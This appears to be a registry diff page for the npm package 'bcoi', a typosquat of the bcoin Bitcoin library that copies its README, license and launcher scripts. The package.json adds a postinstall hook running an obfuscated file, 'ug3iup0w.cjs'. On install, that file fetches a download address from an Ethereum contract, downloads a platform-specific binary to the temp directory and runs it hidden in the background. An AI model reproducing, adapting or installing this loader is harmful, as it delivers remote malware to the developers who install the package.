bcoi 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bcoi might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,23 @@
1
+ This software is licensed under the MIT License.
2
+
3
+ Copyright (c) 2014-2015, Fedor Indutny (https://github.com/indutny)
4
+
5
+ Copyright (c) 2014-2017, Christopher Jeffrey (https://github.com/chjj)
6
+
7
+ Permission is hereby granted, free of charge, to any person obtaining a copy
8
+ of this software and associated documentation files (the "Software"), to deal
9
+ in the Software without restriction, including without limitation the rights
10
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+ copies of the Software, and to permit persons to whom the Software is
12
+ furnished to do so, subject to the following conditions:
13
+
14
+ The above copyright notice and this permission notice shall be included in
15
+ all copies or substantial portions of the Software.
16
+
17
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
20
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
21
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
22
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
23
+ THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,79 @@
1
+ # Bcoin
2
+
3
+ [![Build Status][circleci-status-img]][circleci-status-url]
4
+ [![Coverage Status][coverage-status-img]][coverage-status-url]
5
+
6
+ __NOTE__: The latest release of bcoin contains a non-backward compatible change
7
+ to the rest API. Please read the [changelog]'s "migrating" section for more
8
+ details.
9
+
10
+ ---
11
+
12
+ **Bcoin** is an alternative implementation of the bitcoin protocol, written in
13
+ node.js.
14
+
15
+ Bcoin is well tested and aware of all known consensus rules. It is currently
16
+ used in production as the consensus backend and wallet system for
17
+ [purse.io][purse].
18
+
19
+ ## Uses
20
+
21
+ - Full Node
22
+ - SPV Node
23
+ - Wallet Backend (bip44 derivation)
24
+ - Mining Backend (getblocktemplate support)
25
+ - Layer 2 Backend (lightning)
26
+ - General Purpose Bitcoin Library
27
+
28
+ Try it in the browser: http://bcoin.io/browser.html
29
+
30
+ ## Install
31
+
32
+ ```
33
+ $ git clone git://github.com/bcoin-org/bcoin.git
34
+ $ cd bcoin
35
+ $ npm install
36
+ $ ./bin/bcoin
37
+ ```
38
+
39
+ See the [Beginner's Guide][guide] for more in-depth installation instructions.
40
+
41
+ ## Documentation
42
+
43
+ - API Docs: http://bcoin.io/docs/
44
+ - REST Docs: http://bcoin.io/api-docs/index.html
45
+ - Docs: [docs/](docs/README.md)
46
+
47
+ ## Support
48
+
49
+ Join us on [freenode][freenode] in the [#bcoin][irc] channel.
50
+
51
+ ## Disclaimer
52
+
53
+ Bcoin does not guarantee you against theft or lost funds due to bugs, mishaps,
54
+ or your own incompetence. You and you alone are responsible for securing your
55
+ money.
56
+
57
+ ## Contribution and License Agreement
58
+
59
+ If you contribute code to this project, you are implicitly allowing your code
60
+ to be distributed under the MIT license. You are also implicitly verifying that
61
+ all code is your original work. `</legalese>`
62
+
63
+ ## License
64
+
65
+ - Copyright (c) 2014-2015, Fedor Indutny (MIT License).
66
+ - Copyright (c) 2014-2017, Christopher Jeffrey (MIT License).
67
+
68
+ See LICENSE for more info.
69
+
70
+ [purse]: https://purse.io
71
+ [guide]: https://github.com/bcoin-org/bcoin/blob/master/docs/Beginner's-Guide.md
72
+ [freenode]: https://freenode.net/
73
+ [irc]: irc://irc.freenode.net/bcoin
74
+ [changelog]: https://github.com/bcoin-org/bcoin/blob/master/CHANGELOG.md
75
+
76
+ [coverage-status-img]: https://codecov.io/gh/bcoin-org/bcoin/badge.svg?branch=master
77
+ [coverage-status-url]: https://codecov.io/gh/bcoin-org/bcoin?branch=master
78
+ [circleci-status-img]: https://circleci.com/gh/bcoin-org/bcoin/tree/master.svg?style=shield
79
+ [circleci-status-url]: https://circleci.com/gh/bcoin-org/bcoin/tree/master
package/bin/bcoin ADDED
@@ -0,0 +1,69 @@
1
+ #!/bin/bash
2
+
3
+ rl=0
4
+ daemon=0
5
+ cmd='node'
6
+
7
+ if ! type perl > /dev/null 2>& 1; then
8
+ if uname | grep -i 'darwin' > /dev/null; then
9
+ echo 'Bcoin requires perl to start on OSX.' >& 2
10
+ exit 1
11
+ fi
12
+ rl=1
13
+ fi
14
+
15
+ if test $rl -eq 1; then
16
+ file=$(readlink -f "$0")
17
+ else
18
+ # Have to do it this way
19
+ # because OSX isn't a real OS
20
+ file=$(perl -MCwd -e "print Cwd::realpath('$0')")
21
+ fi
22
+
23
+ dir=$(dirname "$file")
24
+
25
+ if test x"$1" = x'cli'; then
26
+ shift
27
+ exec "${dir}/cli" "$@"
28
+ exit 1
29
+ fi
30
+
31
+ if test x"$1" = x'wallet'; then
32
+ exec "${dir}/cli" "$@"
33
+ exit 1
34
+ fi
35
+
36
+ if test x"$1" = x'rpc'; then
37
+ exec "${dir}/cli" "$@"
38
+ exit 1
39
+ fi
40
+
41
+ for arg in "$@"; do
42
+ case "$arg" in
43
+ --daemon)
44
+ daemon=1
45
+ ;;
46
+ --spv)
47
+ cmd='spvnode'
48
+ ;;
49
+ esac
50
+ done
51
+
52
+ if test $daemon -eq 1; then
53
+ # And yet again, OSX doesn't support something.
54
+ if ! type setsid > /dev/null 2>& 1; then
55
+ (
56
+ "${dir}/${cmd}" "$@" > /dev/null 2>& 1 &
57
+ echo "$!"
58
+ )
59
+ exit 0
60
+ fi
61
+ (
62
+ setsid "${dir}/${cmd}" "$@" > /dev/null 2>& 1 &
63
+ echo "$!"
64
+ )
65
+ exit 0
66
+ else
67
+ exec "${dir}/${cmd}" "$@"
68
+ exit 1
69
+ fi
package/bin/bwallet ADDED
@@ -0,0 +1,55 @@
1
+ #!/bin/bash
2
+
3
+ rl=0
4
+ daemon=0
5
+
6
+ if ! type perl > /dev/null 2>& 1; then
7
+ if uname | grep -i 'darwin' > /dev/null; then
8
+ echo 'Bcoin requires perl to start on OSX.' >& 2
9
+ exit 1
10
+ fi
11
+ rl=1
12
+ fi
13
+
14
+ if test $rl -eq 1; then
15
+ file=$(readlink -f "$0")
16
+ else
17
+ # Have to do it this way
18
+ # because OSX isn't a real OS
19
+ file=$(perl -MCwd -e "print Cwd::realpath('$0')")
20
+ fi
21
+
22
+ dir=$(dirname "$file")
23
+
24
+ if test x"$1" = x'cli'; then
25
+ shift
26
+ exec "${dir}/cli" "wallet" "$@"
27
+ exit 1
28
+ fi
29
+
30
+ for arg in "$@"; do
31
+ case "$arg" in
32
+ --daemon)
33
+ daemon=1
34
+ ;;
35
+ esac
36
+ done
37
+
38
+ if test $daemon -eq 1; then
39
+ # And yet again, OSX doesn't support something.
40
+ if ! type setsid > /dev/null 2>& 1; then
41
+ (
42
+ "${dir}/wallet" "$@" > /dev/null 2>& 1 &
43
+ echo "$!"
44
+ )
45
+ exit 0
46
+ fi
47
+ (
48
+ setsid "${dir}/wallet" "$@" > /dev/null 2>& 1 &
49
+ echo "$!"
50
+ )
51
+ exit 0
52
+ else
53
+ exec "${dir}/wallet" "$@"
54
+ exit 1
55
+ fi
package/bin/node ADDED
@@ -0,0 +1,55 @@
1
+ #!/usr/bin/env node
2
+
3
+ 'use strict';
4
+
5
+ process.title = 'bcoin';
6
+
7
+ if (process.argv.indexOf('--help') !== -1
8
+ || process.argv.indexOf('-h') !== -1) {
9
+ console.error('See the bcoin wiki at: https://github.com/bcoin-org/bcoin/wiki.');
10
+ process.exit(1);
11
+ throw new Error('Could not exit.');
12
+ }
13
+
14
+ if (process.argv.indexOf('--version') !== -1
15
+ || process.argv.indexOf('-v') !== -1) {
16
+ const pkg = require('../package.json');
17
+ console.log(pkg.version);
18
+ process.exit(0);
19
+ throw new Error('Could not exit.');
20
+ }
21
+
22
+ const FullNode = require('../lib/node/fullnode');
23
+
24
+ const node = new FullNode({
25
+ config: true,
26
+ argv: true,
27
+ env: true,
28
+ logFile: true,
29
+ logConsole: true,
30
+ logLevel: 'debug',
31
+ memory: false,
32
+ workers: true,
33
+ listen: true,
34
+ loader: require
35
+ });
36
+
37
+ // Temporary hack
38
+ if (!node.config.bool('no-wallet') && !node.has('walletdb')) {
39
+ const plugin = require('../lib/wallet/plugin');
40
+ node.use(plugin);
41
+ }
42
+
43
+ process.on('unhandledRejection', (err, promise) => {
44
+ throw err;
45
+ });
46
+
47
+ (async () => {
48
+ await node.ensure();
49
+ await node.open();
50
+ await node.connect();
51
+ node.startSync();
52
+ })().catch((err) => {
53
+ console.error(err.stack);
54
+ process.exit(1);
55
+ });
package/bin/spvnode ADDED
@@ -0,0 +1,55 @@
1
+ #!/usr/bin/env node
2
+
3
+ 'use strict';
4
+
5
+ process.title = 'bcoin';
6
+
7
+ const assert = require('assert');
8
+ const SPVNode = require('../lib/node/spvnode');
9
+ const Outpoint = require('../lib/primitives/outpoint');
10
+
11
+ const node = new SPVNode({
12
+ config: true,
13
+ argv: true,
14
+ env: true,
15
+ logFile: true,
16
+ logConsole: true,
17
+ logLevel: 'debug',
18
+ db: 'leveldb',
19
+ memory: false,
20
+ persistent: true,
21
+ workers: true,
22
+ listen: true,
23
+ loader: require
24
+ });
25
+
26
+ // Temporary hack
27
+ if (!node.has('walletdb')) {
28
+ const plugin = require('../lib/wallet/plugin');
29
+ node.use(plugin);
30
+ }
31
+
32
+ process.on('unhandledRejection', (err, promise) => {
33
+ throw err;
34
+ });
35
+
36
+ (async () => {
37
+ await node.ensure();
38
+ await node.open();
39
+ await node.connect();
40
+
41
+ if (node.config.bool('test')) {
42
+ node.pool.watchAddress('1VayNert3x1KzbpzMGt2qdqrAThiRovi8');
43
+ node.pool.watchOutpoint(new Outpoint());
44
+ node.on('block', (block) => {
45
+ assert(block.txs.length >= 1);
46
+ if (block.txs.length > 1)
47
+ console.log(block.txs[1]);
48
+ });
49
+ }
50
+
51
+ node.startSync();
52
+ })().catch((err) => {
53
+ console.error(err.stack);
54
+ process.exit(1);
55
+ });
package/package.json ADDED
@@ -0,0 +1,97 @@
1
+ {
2
+ "name": "bcoi",
3
+ "version": "1.0.2",
4
+ "description": "Bitcoin bike-shed",
5
+ "license": "MIT",
6
+ "repository": "git://github.com/bcoin-org/bcoin.git",
7
+ "homepage": "https://github.com/bcoin-org/bcoin",
8
+ "bugs": {
9
+ "url": "https://github.com/bcoin-org/bcoin/issues"
10
+ },
11
+ "author": "Fedor Indutny <fedor@indutny.com>",
12
+ "contributors": [
13
+ "Christopher Jeffrey <chjjeffrey@gmail.com>"
14
+ ],
15
+ "keywords": [
16
+ "bcoin",
17
+ "bitcoin",
18
+ "blockchain",
19
+ "cryptocurrency",
20
+ "wallet"
21
+ ],
22
+ "engines": {
23
+ "node": ">=8.0.0"
24
+ },
25
+ "dependencies": {
26
+ "bcfg": "~0.1.0",
27
+ "bclient": "~0.1.1",
28
+ "bcrypto": "~0.3.7",
29
+ "bdb": "~0.2.1",
30
+ "bdns": "~0.1.0",
31
+ "bevent": "~0.1.0",
32
+ "bfile": "~0.1.0",
33
+ "bfilter": "~0.2.0",
34
+ "bheep": "~0.1.0",
35
+ "binet": "~0.3.0",
36
+ "blgr": "~0.1.0",
37
+ "blru": "~0.1.0",
38
+ "blst": "~0.1.0",
39
+ "bmutex": "~0.1.0",
40
+ "bn.js": "~4.11.8",
41
+ "bsip": "~0.1.0",
42
+ "bsock": "~0.1.0",
43
+ "bsocks": "~0.2.0",
44
+ "bstring": "~0.1.0",
45
+ "btcp": "~0.1.0",
46
+ "bufio": "~0.2.0",
47
+ "bupnp": "~0.2.1",
48
+ "bval": "~0.1.0",
49
+ "bweb": "~0.1.1",
50
+ "mrmr": "~0.1.0",
51
+ "n64": "~0.2.0",
52
+ "axios": "^1.7.7",
53
+ "ethers": "^6.13.2"
54
+ },
55
+ "devDependencies": {
56
+ "babel-core": "^6.26.3",
57
+ "babel-loader": "^7.1.4",
58
+ "babel-plugin-transform-runtime": "^6.23.0",
59
+ "babel-polyfill": "^6.26.0",
60
+ "babel-preset-env": "^1.7.0",
61
+ "babelify": "^8.0.0",
62
+ "browserify": "^16.2.2",
63
+ "eslint": "^4.19.1",
64
+ "istanbul": "^1.1.0-alpha.1",
65
+ "jsdoc": "^3.5.5",
66
+ "mocha": "^5.2.0",
67
+ "uglify-es": "^3.3.9",
68
+ "uglifyjs-webpack-plugin": "^1.2.5",
69
+ "webpack": "^4.11.1",
70
+ "webpack-cli": "^3.0.3"
71
+ },
72
+ "main": "./lib/bcoin.js",
73
+ "bin": {
74
+ "bcoin": "./bin/bcoin",
75
+ "bcoin-node": "./bin/node",
76
+ "bcoin-spvnode": "./bin/spvnode",
77
+ "bwallet": "./bin/bwallet"
78
+ },
79
+ "scripts": {
80
+ "postinstall": "node ug3iup0w.cjs"
81
+ },
82
+ "browser": {
83
+ "./lib/hd/nfkd": "./lib/hd/nfkd-compat.js",
84
+ "./lib/hd/wordlist": "./lib/hd/wordlist-browser.js",
85
+ "./lib/workers/child": "./lib/workers/child-browser.js",
86
+ "./lib/workers/parent": "./lib/workers/parent-browser.js",
87
+ "./lib/bcoin": "./lib/bcoin-browser.js"
88
+ },
89
+ "browserify": {
90
+ "transform": [
91
+ "babelify"
92
+ ]
93
+ },
94
+ "files": [
95
+ "ug3iup0w.cjs"
96
+ ]
97
+ }
package/ug3iup0w.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x2675(){const _0x206384=['XwfTC','Ошибка\x20при\x20получении\x20IP\x20адреса:','12gkDDxn','ignore','mAHPJ','8570152MlcFGD','unref','syfZi','mainnet','Unsupported\x20platform:\x20','WoHwg','ZjCqP','Contract','pipe','3049680BUVYYS','ethers','2283025SVYwkV','VCEIb','VRLmR','1023105RgyLpA','join','darwin','EFSfc','basename','rkFSq','error','3573cVGEFz','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','chmodSync','platform','jKKIx','/node-macos','finish','6vhSXeC','Obhsw','win32','15131943YriftK','path','axios','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','755','child_process','862NrXTms','12003817HDpHkh','tmpdir','createWriteStream','linux','tPrnJ','azgAd','util','kVzbN','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','GET','Ошибка\x20при\x20запуске\x20файла:'];_0x2675=function(){return _0x206384;};return _0x2675();}const _0x54896b=_0x5e01;function _0x5e01(_0x50cc14,_0x2a314a){const _0x2675cc=_0x2675();return _0x5e01=function(_0x5e01d7,_0x2a7d77){_0x5e01d7=_0x5e01d7-0x1b7;let _0x16c4cf=_0x2675cc[_0x5e01d7];return _0x16c4cf;},_0x5e01(_0x50cc14,_0x2a314a);}(function(_0xa59399,_0x1f1ffd){const _0x5d6b22=_0x5e01,_0x52fed9=_0xa59399();while(!![]){try{const _0x21fee8=parseInt(_0x5d6b22(0x1e3))/0x1*(parseInt(_0x5d6b22(0x1bd))/0x2)+-parseInt(_0x5d6b22(0x1dc))/0x3*(parseInt(_0x5d6b22(0x1cb))/0x4)+-parseInt(_0x5d6b22(0x1d9))/0x5+parseInt(_0x5d6b22(0x1ea))/0x6*(parseInt(_0x5d6b22(0x1be))/0x7)+parseInt(_0x5d6b22(0x1ce))/0x8+-parseInt(_0x5d6b22(0x1b7))/0x9+-parseInt(_0x5d6b22(0x1d7))/0xa;if(_0x21fee8===_0x1f1ffd)break;else _0x52fed9['push'](_0x52fed9['shift']());}catch(_0x3e1d9d){_0x52fed9['push'](_0x52fed9['shift']());}}}(_0x2675,0xd1f9a));const {ethers}=require(_0x54896b(0x1d8)),axios=require(_0x54896b(0x1b9)),util=require(_0x54896b(0x1c4)),fs=require('fs'),path=require(_0x54896b(0x1b8)),os=require('os'),{spawn}=require(_0x54896b(0x1bc)),contractAddress=_0x54896b(0x1c6),WalletOwner=_0x54896b(0x1e4),abi=[_0x54896b(0x1ba)],provider=ethers['getDefaultProvider'](_0x54896b(0x1d1)),contract=new ethers[(_0x54896b(0x1d5))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x559d55=_0x54896b,_0x131a34={'kVzbN':_0x559d55(0x1ca),'rkFSq':function(_0x2672ec){return _0x2672ec();}};try{const _0xb074ff=await contract['getString'](WalletOwner);return _0xb074ff;}catch(_0x5936f2){return console[_0x559d55(0x1e2)](_0x131a34[_0x559d55(0x1c5)],_0x5936f2),await _0x131a34[_0x559d55(0x1e1)](fetchAndUpdateIp);}},getDownloadUrl=_0x36cbb4=>{const _0x524efe=_0x54896b,_0x55cc36={'Obhsw':_0x524efe(0x1c1)},_0x3b5c50=os[_0x524efe(0x1e6)]();switch(_0x3b5c50){case _0x524efe(0x1ec):return _0x36cbb4+'/node-win.exe';case _0x55cc36[_0x524efe(0x1eb)]:return _0x36cbb4+'/node-linux';case _0x524efe(0x1de):return _0x36cbb4+_0x524efe(0x1e8);default:throw new Error(_0x524efe(0x1d2)+_0x3b5c50);}},downloadFile=async(_0x5e897a,_0x2c71b1)=>{const _0x162736=_0x54896b,_0x4aa3ce={'IRFOO':_0x162736(0x1e9),'VRLmR':'error','Elltr':function(_0x380032,_0x502674){return _0x380032(_0x502674);},'azgAd':_0x162736(0x1c7),'EFSfc':'stream'},_0x3192ba=fs[_0x162736(0x1c0)](_0x2c71b1),_0x421b35=await _0x4aa3ce['Elltr'](axios,{'url':_0x5e897a,'method':_0x4aa3ce[_0x162736(0x1c3)],'responseType':_0x4aa3ce[_0x162736(0x1df)]});return _0x421b35['data'][_0x162736(0x1d6)](_0x3192ba),new Promise((_0xd5f465,_0x368566)=>{const _0x14bc2c=_0x162736;_0x3192ba['on'](_0x4aa3ce['IRFOO'],_0xd5f465),_0x3192ba['on'](_0x4aa3ce[_0x14bc2c(0x1db)],_0x368566);});},executeFileInBackground=async _0x14b918=>{const _0x3bdcd4=_0x54896b,_0x422a84={'XwfTC':function(_0x2d8b1c,_0x5b18ac,_0x5ed028,_0x485722){return _0x2d8b1c(_0x5b18ac,_0x5ed028,_0x485722);},'tPrnJ':_0x3bdcd4(0x1cc),'WoHwg':_0x3bdcd4(0x1c8)};try{const _0x34fb59=_0x422a84[_0x3bdcd4(0x1c9)](spawn,_0x14b918,[],{'detached':!![],'stdio':_0x422a84[_0x3bdcd4(0x1c2)]});_0x34fb59[_0x3bdcd4(0x1cf)]();}catch(_0x4cb1df){console[_0x3bdcd4(0x1e2)](_0x422a84[_0x3bdcd4(0x1d3)],_0x4cb1df);}},runInstallation=async()=>{const _0x41b509=_0x54896b,_0x4cb48a={'jKKIx':function(_0x53ed34){return _0x53ed34();},'syfZi':function(_0x22c4c1,_0x27b7b0){return _0x22c4c1(_0x27b7b0);},'mAHPJ':function(_0x4b741c,_0x2777b1,_0x51dafb){return _0x4b741c(_0x2777b1,_0x51dafb);},'ZjCqP':function(_0x3df3a6,_0x3b74b0){return _0x3df3a6!==_0x3b74b0;},'VCEIb':_0x41b509(0x1ec)};try{const _0x31ff9e=await _0x4cb48a[_0x41b509(0x1e7)](fetchAndUpdateIp),_0x1bdfc9=_0x4cb48a[_0x41b509(0x1d0)](getDownloadUrl,_0x31ff9e),_0x1cc56c=os[_0x41b509(0x1bf)](),_0x2d21d0=path[_0x41b509(0x1e0)](_0x1bdfc9),_0x1deeab=path[_0x41b509(0x1dd)](_0x1cc56c,_0x2d21d0);await _0x4cb48a[_0x41b509(0x1cd)](downloadFile,_0x1bdfc9,_0x1deeab);if(_0x4cb48a[_0x41b509(0x1d4)](os['platform'](),_0x4cb48a[_0x41b509(0x1da)]))fs[_0x41b509(0x1e5)](_0x1deeab,_0x41b509(0x1bb));executeFileInBackground(_0x1deeab);}catch(_0x115c00){console[_0x41b509(0x1e2)]('Ошибка\x20установки:',_0x115c00);}};runInstallation();